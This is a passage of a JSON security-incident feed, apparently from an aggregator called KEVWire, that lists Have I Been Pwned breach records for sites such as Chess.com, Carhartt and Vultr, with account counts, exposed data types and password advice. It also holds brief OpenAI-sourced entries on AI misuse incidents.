Pwned: account count, exposed data types, and dates."},{"name":"AUTOSUR disclosure","url":"https://www.autosur.fr/information-fuite-de-donnees/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-webhostingtalk","cveId":null,"aliases":["WebHostingTalk"],"kind":"breach","title":"Web Hosting Talk breach: 515,149 accounts exposed","summary":"In July 2016, the Web Hosting Talk forum suffered a data breach that was subsequently listed for sale . The breach of the vBulletin based forum exposed 515k user records including usernames, email addresses, IP addresses and salted MD5 password hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2016-07-01; loaded 2025-12-17. Exposed data: Email addresses, IP addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-12-17T22:43:18.000Z","updatedAt":"2025-12-17T22:43:18.000Z","regions":["Global"],"vendor":"webhostingtalk.com","product":null,"stacks":["Webhostingtalk.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Web Hosting Talk","url":"https://haveibeenpwned.com/Breach/WebHostingTalk","type":"primary","publishedAt":"2025-12-17T22:43:18.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Web Hosting Talk disclosure","url":"https://www.webhostingtalk.com/showthread.php?t=1585297","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-codestepbystep","cveId":null,"aliases":["CodeStepByStep"],"kind":"breach","title":"CodeStepByStep breach: 103,077 accounts exposed","summary":"In November 2025, the online coding practice tool CodeStepByStep suffered a data breach that exposed 17k records which were subsequently published online . The following month, a further corpus of data was released bringing the total to 103k. The impacted data included names, usernames and email addresses.","detail":"Verified by Have I Been Pwned. Breach date: 2025-11-15; loaded 2025-11-23. Exposed data: Email addresses, Names, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-11-23T05:54:02.000Z","updatedAt":"2025-12-02T21:59:17.000Z","regions":["Global"],"vendor":"codestepbystep.com","product":null,"stacks":["Codestepbystep.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: CodeStepByStep","url":"https://haveibeenpwned.com/Breach/CodeStepByStep","type":"primary","publishedAt":"2025-11-23T05:54:02.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"CodeStepByStep disclosure","url":"https://www.codestepbystep.com/r/system/breach-disclosure-2025-11-23","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-eurofiber","cveId":null,"aliases":["Eurofiber"],"kind":"breach","title":"Eurofiber breach: 10,003 accounts exposed","summary":"In November 2025, Eurofiber France disclosed a data breach of its ticket management platform . Data containing 10k unique email addresses and a smaller number of names and phone numbers was subsequently leaked. A threat actor claiming responsibility for the breach alleges to have additional, more sensitive data including screenshots, VPN configuration files, credentials, source code, certificates, archives, and SQL backup files.","detail":"Verified by Have I Been Pwned. Breach date: 2025-11-13; loaded 2025-11-20. Exposed data: Email addresses, Names, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-11-20T02:44:14.000Z","updatedAt":"2025-11-20T02:44:14.000Z","regions":["Global"],"vendor":"eurofiber.com","product":null,"stacks":["Eurofiber.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Eurofiber","url":"https://haveibeenpwned.com/Breach/Eurofiber","type":"primary","publishedAt":"2025-11-20T02:44:14.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Eurofiber disclosure","url":"https://www.eurofiber.com/fr-fr/actualites/incident-de-cybersecurite-chez-eurofiber-france","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-vultr","cveId":null,"aliases":["Vultr"],"kind":"breach","title":"Vultr breach: 187,872 accounts exposed","summary":"In March 2023, the \"AI-first global cloud platform\" Vultr disclosed a security incident at a third-party vendor . Dating back to the previous year, the incident was attributed to the ActiveCampaign email marketing service provider and resulted in the exposure of 188k unique email addresses. A small number of records also included name, IP address and country of origin. No Vultr systems or additional customer data were impacted. Vultr subsequently self-submitted the impacted data to HIBP.","detail":"Verified by Have I Been Pwned. Breach date: 2022-07-08; loaded 2025-11-20. Exposed data: Email addresses, Geographic locations, IP addresses, Names. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-11-20T01:22:52.000Z","updatedAt":"2025-11-20T01:22:52.000Z","regions":["Global"],"vendor":"vultr.com","product":null,"stacks":["Vultr.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Vultr","url":"https://haveibeenpwned.com/Breach/Vultr","type":"primary","publishedAt":"2025-11-20T01:22:52.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Vultr disclosure","url":"https://blogs.vultr.com/important-update","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-limeleads","cveId":null,"aliases":["LimeLeads"],"kind":"breach","title":"LimeLeads breach: 17,838,396 accounts exposed","summary":"In 2019, the now-defunct B2B marketing leads database service LimeLeads suffered a data breach due to an exposed, unsecured Elasticsearch server. The incident exposed tens of millions of records of largely corporate contact data containing 17.8M unique email addresses, along with phone numbers, employers, job titles and geographic locations including state, city and postcode.","detail":"Verified by Have I Been Pwned. Breach date: 2019-08-01; loaded 2026-09-22. Exposed data: Email addresses, Employers, Geographic locations, Job titles, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-09-22T08:02:37.000Z","updatedAt":"2026-09-22T08:02:37.000Z","regions":["Global"],"vendor":"limeleads.com","product":null,"stacks":["Limeleads.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: LimeLeads","url":"https://haveibeenpwned.com/Breach/LimeLeads","type":"primary","publishedAt":"2026-09-22T08:02:37.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-burgerkingrussia","cveId":null,"aliases":["BurgerKingRussia"],"kind":"breach","title":"Burger King Russia breach: 3,155,792 accounts exposed","summary":"In October 2024, news of a data breach exposing Burger King Russia customers broke following an August attack on the Mindbox marketing automation platform. The breach exposed 3.2M unique email addresses along with names, genders, dates of birth, phone numbers and approximate geolocations, with the data spanning 2018 to August 2024. Burger King Russia acknowledged the incident and advised it did not include payment or passport details.","detail":"Verified by Have I Been Pwned. Breach date: 2024-08-25; loaded 2026-09-21. Exposed data: Dates of birth, Email addresses, Genders, Geographic locations, Names, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-09-21T13:54:00.000Z","updatedAt":"2026-09-21T13:54:00.000Z","regions":["Global"],"vendor":"burgerkingrus.ru","product":null,"stacks":["Burgerkingrus.ru"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Burger King Russia","url":"https://haveibeenpwned.com/Breach/BurgerKingRussia","type":"primary","publishedAt":"2026-09-21T13:54:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-chess2026","cveId":null,"aliases":["Chess2026"],"kind":"breach","title":"Chess.com (2026) breach: 4,653,212 accounts exposed","summary":"In August 2026, millions of records allegedly sourced from Chess.com were posted online . The data contained 7.3M rows with 4.6M unique email addresses, along with usernames, names, countries and data relating to users' Chess.com accounts. Analysis of the data suggested it had been obtained by scraping. When loaded into HIBP, 99% of the email addresses had already appeared in previous data breaches, further supporting the scraping theory. Read more about scrapes and data breaches.","detail":"Verified by Have I Been Pwned. Breach date: 2026-08-03; loaded 2026-09-13. Exposed data: Email addresses, Geographic locations, Names, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-09-13T13:09:11.000Z","updatedAt":"2026-09-13T13:09:11.000Z","regions":["Global"],"vendor":"chess.com","product":null,"stacks":["Chess.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Chess.com (2026)","url":"https://haveibeenpwned.com/Breach/Chess2026","type":"primary","publishedAt":"2026-09-13T13:09:11.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-questel","cveId":null,"aliases":["Questel"],"kind":"breach","title":"Questel breach: 1,226,209 accounts exposed","summary":"In August 2026, the French intellectual property software and services company Questel was the target of a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published an extensive corpus of data they alleged was obtained from the company, largely comprising corporate contact information associated with sales leads, support cases and marketing activities, with 1.2M unique email addresses. The data also included names, employers and job titles, along with physical addresses and phone numbers.","detail":"Verified by Have I Been Pwned. Breach date: 2026-08-01; loaded 2026-09-01. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-09-01T04:49:35.000Z","updatedAt":"2026-09-01T04:55:05.000Z","regions":["Global"],"vendor":"questel.com","product":null,"stacks":["Questel.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Questel","url":"https://haveibeenpwned.com/Breach/Questel","type":"primary","publishedAt":"2026-09-01T04:49:35.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-hugging-face-incident-and-the-road-ahead-34e62ff4c7cf","cveId":null,"aliases":[],"kind":"ai-incident","title":"The Hugging Face incident and the road ahead","summary":"OpenAI shares findings from the Hugging Face security incident and the steps we’re taking to strengthen AI model security, monitoring, and alignment.","detail":"OpenAI shares findings from the Hugging Face security incident and the steps we’re taking to strengthen AI model security, monitoring, and alignment.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-08-26T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"OpenAI: The Hugging Face incident and the road ahead","url":"https://openai.com/index/hugging-face-incident-and-the-road-ahead","type":"primary","publishedAt":"2026-08-26T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-carhartt","cveId":null,"aliases":["Carhartt"],"kind":"breach","title":"Carhartt breach: 12,933,413 accounts exposed","summary":"In August 2026, clothing retailer Carhartt was the target of a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published data allegedly obtained from the company including 12.9M unique email addresses, names, phone numbers and physical addresses. The published corpus also contained millions of synthetic records that did not relate to real individuals and were excluded from the breach.","detail":"Verified by Have I Been Pwned. Breach date: 2026-08-13; loaded 2026-08-25. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-08-25T21:34:25.000Z","updatedAt":"2026-08-25T21:34:25.000Z","regions":["Global"],"vendor":"carhartt.com","product":null,"stacks":["Carhartt.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Carhartt","url":"https://haveibeenpwned.com/Breach/Carhartt","type":"primary","publishedAt":"2026-08-25T21:34:25.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-influence-campaign-russia-62003111f3b5","cveId":null,"aliases":[],"kind":"ai-incident","title":"Disrupting a new covert influence campaign from Russia","summary":"OpenAI banned Russia-origin accounts using AI to promote a fake Israel-based think tank and a “sovereignty” index praising Russia and criticizing the West.","detail":"OpenAI banned Russia-origin accounts using AI to promote a fake Israel-based think tank and a “sovereignty” index praising Russia and criticizing the West.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-08-25T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-influence-campaign-russia"},"sources":[{"name":"OpenAI: Disrupting a new covert influence campaign from Russia","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-influence-campaign-russia","type":"primary","publishedAt":"2026-08-25T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-golfcanada","cveId":null,"aliases":["GolfCanada"],"kind":"breach","title":"Golf Canada breach: 568,972 accounts exposed","summary":"In mid-2026, hundreds of thousands of user records allegedly sourced from Golf Canada began circulating via Telegram. The data included 569k unique email addresses along with names, usernames, dates of birth, genders and approximate geographic locations (city, province and postcode). It remains unclear whether the data was obtained via unintentionally exposed website features or a security vulnerability.","detail":"Verified by Have I Been Pwned. Breach date: 2026-05-14; loaded 2026-08-22. Exposed data: Dates of birth, Email addresses, Genders, Geographic locations, Names, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-08-22T07:17:23.000Z","updatedAt":"2026-09-05T20:02:16.000Z","regions":["Global"],"vendor":"golfcanada.ca","product":null,"stacks":["Golfcanada.ca"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Golf Canada","url":"https://haveibeenpwned.com/Breach/GolfCanada","type":"primary","publishedAt":"2026-08-22T07:17:23.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-ozhairandbeauty","cveId":null,"aliases":["OzHairAndBeauty"],"kind":"breach","title":"Oz Hair and Beauty breach: 1,988,331 accounts exposed","summary":"In August 2026, Australian beauty retailer Oz Hair and Beauty was the target of an xpl0itrs extortion attack . The group subsequently published data allegedly obtained from the company, which included 2M unique email addresses along with names, phone numbers, geographic locations (suburb and postcode) and purchases.","detail":"Verified by Have I Been Pwned. Breach date: 2026-08-15; loaded 2026-08-19. Exposed data: Email addresses, Geographic locations, Names, Phone numbers, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-08-19T03:15:00.000Z","updatedAt":"2026-08-19T03:15:00.000Z","regions":["Global"],"vendor":"ozhairandbeauty.com","product":null,"stacks":["Ozhairandbeauty.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Oz Hair and Beauty","url":"https://haveibeenpwned.com/Breach/OzHairAndBeauty","type":"primary","publishedAt":"2026-08-19T03:15:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-alcon","cveId":null,"aliases":["Alcon"],"kind":"breach","title":"Alcon breach: 218,395 accounts exposed","summary":"In August 2026, the Alcon eye care company was named in a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published data allegedly sourced from Alcon containing 218k unique email addresses along with other largely corporate B2B contact fields, including name, phone number and physical address.","detail":"Verified by Have I Been Pwned. Breach date: 2026-08-01; loaded 2026-08-09. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-08-09T10:04:34.000Z","updatedAt":"2026-08-09T10:04:34.000Z","regions":["Global"],"vendor":"alcon.com","product":null,"stacks":["Alcon.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Alcon","url":"https://haveibeenpwned.com/Breach/Alcon","type":"primary","publishedAt":"2026-08-09T10:04:34.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-interconsecurity","cveId":null,"aliases":["InterConSecurity"],"kind":"breach","title":"Inter-Con Security breach: 276,114 accounts exposed","summary":"In June 2026, Inter-Con Security was targeted in a ShinyHunters “pay or leak” extortion campaign . The group subsequently published data it alleged was taken from the company, including 276k unique email addresses along with names, physical addresses, job titles and phone numbers. The data encompassed a combination of contacts, internal users and leads.","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-18; loaded 2026-08-05. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-08-05T23:39:01.000Z","updatedAt":"2026-08-05T23:39:01.000Z","regions":["Global"],"vendor":"icsecurity.com","product":null,"stacks":["Icsecurity.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Inter-Con Security","url":"https://haveibeenpwned.com/Breach/InterConSecurity","type":"primary","publishedAt":"2026-08-05T23:39:01.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-splitvpn","cveId":null,"aliases":["SplitVPN"],"kind":"breach","title":"SplitVPN breach: 865,336 accounts exposed","summary":"In July 2026, the Russian VPN service SplitVPN (previously known as NotVPN) suffered a data breach . The incident exposed millions of customer records, including 865k unique email addresses. Other impacted data included IP addresses, the user's country, and partial payment card data (first 6 and last 4 digits plus expiry date).","detail":"Verified by Have I Been Pwned. Breach date: 2026-07-21; loaded 2026-08-01. Exposed data: Device information, Email addresses, Geographic locations, IP addresses, Partial credit card data. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-08-01T05:29:26.000Z","updatedAt":"2026-08-01T05:29:26.000Z","regions":["Global"],"vendor":"splitvpn.io","product":null,"stacks":["Splitvpn.io"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: SplitVPN","url":"https://haveibeenpwned.com/Breach/SplitVPN","type":"primary","publishedAt":"2026-08-01T05:29:26.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-criminal-scam-operation-ff7c1653ce2e","cveId":null,"aliases":[],"kind":"ai-incident","title":"Disrupting a Cambodia-based criminal scam operation","summary":"OpenAI disrupted a Cambodia-based scam operation using ChatGPT to support investment, romance, gambling, and impersonation schemes.","detail":"OpenAI disrupted a Cambodia-based scam operation using ChatGPT to support investment, romance, gambling, and impersonation schemes.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-07-31T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-criminal-scam-operation"},"sources":[{"name":"OpenAI: Disrupting a Cambodia-based criminal scam operation","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-criminal-scam-operation","type":"primary","publishedAt":"2026-07-31T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-houstoncitycollege","cveId":null,"aliases":["HoustonCityCollege"],"kind":"breach","title":"Houston City College breach: 831,642 accounts exposed","summary":"In June 2026, Houston 